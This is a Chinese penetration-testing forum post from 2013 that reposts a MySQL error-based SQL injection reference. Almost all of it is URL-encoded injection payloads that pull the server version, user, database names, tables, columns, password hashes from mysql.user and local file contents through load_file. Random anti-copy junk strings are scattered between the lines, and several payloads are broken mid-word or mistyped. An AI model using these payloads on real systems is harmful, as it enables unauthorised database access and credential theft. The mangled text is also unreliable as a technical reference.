中国网络渗透测试联盟
标题:
Mysql暴错注入参考（pdf）
[打印本页]
作者:
admin
时间:
2013-7-27 11:00
标题:
Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
8 ^) B' Q- w# \/ _
) U" G0 j; [9 N8 r) |* G) h! F3 f
0 | }+ C0 A; r2 N
Mysql暴错注入参考（pdf），每天一贴。。。
: V/ u1 _2 c3 L
- j, f8 G4 D ?1 w x0 n: e" b ~
MySql Error Based Injection Reference
' ?: X0 X8 U6 Z
[Mysql暴错注入参考]
4 Q* m) `8 w' e2 \
Authornig0s1992
+ k* A( l: L; d/ q% e3 G' }
Blog:
http://pnig0s1992.blog.51cto.com/
3 w7 m" T4 R; B; q& d
TeAm:
http://www.FreeBuf.com/
" }5 C$ V/ M U5 N5 P
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
, i3 S$ `7 B: U; K- c4 x5 X; G6 m3 d
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
|/ ~) D- Z9 k2 j1 A9 i
查询版本:
7 A# M8 k5 l- ~/ V' |) z( {' m+ d
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
% x p! w: [, L
join+(select+name_const(@@version,0))b)c)
V% o, ]' Q3 T2 P! j2 R
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
/ Y- I2 S# m m. Y( e4 z0 N
up by a)b)
0 b, W$ S0 M/ c- w3 L) `$ Z
查询当前用户:
9 y9 {1 Q- }$ |, ] {; i+ [$ l
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
, E& o% u+ O8 O% r; B6 m. z
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
8 k) D0 u! U6 ]& Z3 f, r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
( O0 h1 o8 [3 v6 y" J" W
查询当前数据库:
2 N+ E5 I3 {0 R. W' ^0 O: v
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
: R5 l. P/ u. J4 F4 d
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
" w) O2 M# Q* \8 _( t# ]
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
+ } z5 D' Q1 \& ~" }2 d! Q
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
. t- L9 d3 n' P, E8 I7 ?
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
, C8 A- n3 b9 u* t: ]! ]( ^3 W
顺序替换
9 S/ x/ |( f3 {0 G1 i
爆指定库数目:
7 |0 t1 U7 p5 Z8 w. }* u$ Z, m. E
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
$ C5 v- J& Q% g% t0 v$ x
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
- k5 H+ y: H, c% }1 E* Z7 ?
+by+x)a)+and+1=1 0x6D7973716C=mysql
( _6 f1 p7 w) S7 n% ^4 E
依次爆表:
: I- f& K7 w" i% o
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
' s! a3 K: ?, U
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
j3 J( N0 e7 G. g
bles+group+by+x)a)+and+1=1
/ W2 W" V; P. u, |; Q
0x6D7973716C=Mysql 将n顺序替换
& v8 J: e8 T8 n9 w" {5 O
爆表内字段数目:
' P+ P; J" i! ?
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
( y+ x- r& Q: v
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
2 Q/ B4 d# [; v6 j/ X
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
% F- @' z b# l0 V
依次爆字段:
! X8 a5 m5 d3 U
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
0 f0 p4 A9 I/ B4 y3 ?' O5 g
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
+ c9 F. R0 K5 w5 @" t* b7 T9 O
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
( @! g$ b. s/ K: W: R. i
依次暴内容:
6 c( ~9 }. y, x$ g: ^
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
) E$ C* o' r! y |7 ~
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
# E: l( D/ l+ b( k1 {
将n顺序替换
& F+ U0 s f6 `% f5 H. c
爆文件内容:
: ^& ?" i0 h! m6 @8 p' Q
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
( R/ A6 `$ x6 k$ c/ U/ V
from+information_schema.tables+group+by+a)b)
0 V5 ]( N6 t. b$ Z6 u" t/ l
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
6 z8 B7 h7 e f0 D8 v! _ W0 F
Thx for reading.
0 c2 v# \+ `$ W1 r
8 P# {% F7 W y! d; `
不要下载也可以，
h* t! Y' Y& u* ^# s$ ^3 s( H0 f
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2